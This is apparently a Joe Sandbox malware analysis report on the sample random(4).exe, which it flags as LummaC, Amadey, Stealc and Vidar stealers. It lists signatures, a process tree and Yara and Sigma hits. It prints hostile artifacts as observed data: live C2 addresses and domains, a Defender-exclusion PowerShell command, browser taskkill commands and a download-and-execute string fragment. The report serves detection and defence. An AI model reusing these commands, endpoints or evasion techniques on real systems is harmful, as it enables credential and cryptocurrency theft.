Edit tour

Windows Analysis Report
random(4).exe

Overview

General Information

Sample name:	random(4).exe
Analysis ID:	1583232
MD5:	c77592f28d3267b7c5e0529b6741548a
SHA1:	e0a741dbbdd703b9254e5613b36dc727262c1efc
SHA256:	739345a9fa6a95c79e3aaf761a810e917492c2072330ec5bb058447b9d56ea62
Tags:	exelev-tolstoi-comuser-JAMESWT_MHT
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Reads the Security eventlog

Reads the System eventlog

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Powershell Defender Exclusion

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

random(4).exe (PID: 6756 cmdline: "C:\Users\user\Desktop\random(4).exe" MD5: C77592F28D3267B7C5E0529B6741548A)

NU4SX64NXMV3YXYV8G3PIA0S0.exe (PID: 4144 cmdline: "C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe" MD5: 14FC1658DE54A19670851A44AFC48ABC)

chrome.exe (PID: 3760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2192,i,12920997312320207026,11927117372627731275,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 4364 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIJDGIJJKE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FIJDGIJJKE.exe (PID: 7540 cmdline: "C:\Users\user\Documents\FIJDGIJJKE.exe" MD5: F70FD98886425270B5017B04C74B31B8)

7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe (PID: 4908 cmdline: "C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe" MD5: F70FD98886425270B5017B04C74B31B8)

skotes.exe (PID: 7532 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F70FD98886425270B5017B04C74B31B8)

9ce3a8a3dc.exe (PID: 7984 cmdline: "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe" MD5: 9AB250B0DC1D156E2D123D277EB4D132)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

9ce3a8a3dc.exe (PID: 8044 cmdline: "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe" MD5: 9AB250B0DC1D156E2D123D277EB4D132)

943fedf78d.exe (PID: 8120 cmdline: "C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe" MD5: 87330F1877C33A5A6203C49075223B16)

55c1ca23f1.exe (PID: 744 cmdline: "C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe" MD5: 19861D67B2811D6EB3BE1951B28703AE)

AutoIt3_x64.exe (PID: 2448 cmdline: "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz MD5: 8FA52F316C393496F272357191DB6DEB)

982cf429c9.exe (PID: 5816 cmdline: "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe" MD5: A098B3631CF208CAC539D0C4DA0DE1EB)

982cf429c9.exe (PID: 5212 cmdline: "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe" MD5: A098B3631CF208CAC539D0C4DA0DE1EB)

cmd.exe (PID: 7992 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

d76dd796e0.exe (PID: 5632 cmdline: "C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe" MD5: DB206F26E2DA5BDEB251FDF9DEB6EFBE)

e13ae12563.exe (PID: 8024 cmdline: "C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe" MD5: C2968F40E6C44036E1D3E18BCA61C67D)

75b25e676e.exe (PID: 2936 cmdline: "C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe" MD5: 19861D67B2811D6EB3BE1951B28703AE)

AutoIt3_x64.exe (PID: 5444 cmdline: "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz MD5: 8FA52F316C393496F272357191DB6DEB)

13f4808de9.exe (PID: 4484 cmdline: "C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe" MD5: F200A3445A8034D201EEB79BB29E1D73)

6319f0cc28.exe (PID: 6652 cmdline: "C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe" MD5: C77592F28D3267B7C5E0529B6741548A)

334592f815.exe (PID: 3152 cmdline: "C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe" MD5: 14FC1658DE54A19670851A44AFC48ABC)

a48f6ed5ed.exe (PID: 7628 cmdline: "C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe" MD5: CA250DF7319AC4E1A197E00FDA0C4323)

taskkill.exe (PID: 1852 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8132 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1376 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6428 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8a0ebcc2e0.exe (PID: 8056 cmdline: "C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe" MD5: B0A80C5DBC0761ED26C786D6F2E56E1F)

ad8a3a5306.exe (PID: 4468 cmdline: "C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe" MD5: 9BE5AC720DCF1838FD5A2D7352672F66)

conhost.exe (PID: 2540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3512 cmdline: "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 1968 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

skotes.exe (PID: 8188 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F70FD98886425270B5017B04C74B31B8)

skotes.exe (PID: 7256 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F70FD98886425270B5017B04C74B31B8)

skotes.exe (PID: 7552 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F70FD98886425270B5017B04C74B31B8)

6319f0cc28.exe (PID: 5804 cmdline: "C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe" MD5: C77592F28D3267B7C5E0529B6741548A)

334592f815.exe (PID: 2104 cmdline: "C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe" MD5: 14FC1658DE54A19670851A44AFC48ABC)

a48f6ed5ed.exe (PID: 3648 cmdline: "C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe" MD5: CA250DF7319AC4E1A197E00FDA0C4323)

taskkill.exe (PID: 6720 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8a0ebcc2e0.exe (PID: 6332 cmdline: "C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe" MD5: B0A80C5DBC0761ED26C786D6F2E56E1F)

skotes.exe (PID: 5260 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F70FD98886425270B5017B04C74B31B8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["slipperyloo.lat", "pancakedipyps.click", "tentabatte.lat", "manyrestro.lat", "shapestickyr.lat", "talkynicer.lat", "curverpluch.lat", "wordyfindy.lat", "bashfulacid.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000023.00000003.4119625833.000000000165D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.3711440745.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.3968382392.0000000001382000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000002.4097470810.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3667795783.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.3869502337.0000000001382000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000023.00000003.4156576126.000000000165D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000002.3714687550.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.3896221310.0000000001382000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2313455015.0000000000721000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2313455015.00000000007EC000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2987197716.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.4074538250.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2366087745.0000000000E31000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2078214906.0000000000231000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: random(4).exe PID: 6756	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: random(4).exe PID: 6756	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: random(4).exe PID: 6756	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 9ce3a8a3dc.exe PID: 8044	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9ce3a8a3dc.exe PID: 8044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9ce3a8a3dc.exe PID: 8044	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.2.skotes.exe.c00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.skotes.exe.c00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.230000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.FIJDGIJJKE.exe.e30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.c00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0xe4cf9:$str05: prefs.js 0xe5cf9:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
33.2.334592f815.exe.3d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
33.2.334592f815.exe.3d0000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
39.2.334592f815.exe.3d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
39.2.334592f815.exe.3d0000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7532, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6319f0cc28.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm', CommandLine: "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe, ParentProcessId: 4468, ParentProcessName: ad8a3a5306.exe, ProcessCommandLine: "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm', ProcessId: 3512, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe", ParentImage: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe, ParentProcessId: 4144, ParentProcessName: NU4SX64NXMV3YXYV8G3PIA0S0.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 3760, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7532, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6319f0cc28.exe

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, ProcessId: 2448, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivuiqylx.5hk.ps1

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm', CommandLine: "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe, ParentProcessId: 4468, ParentProcessName: ad8a3a5306.exe, ProcessCommandLine: "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm', ProcessId: 3512, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: random(4).exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
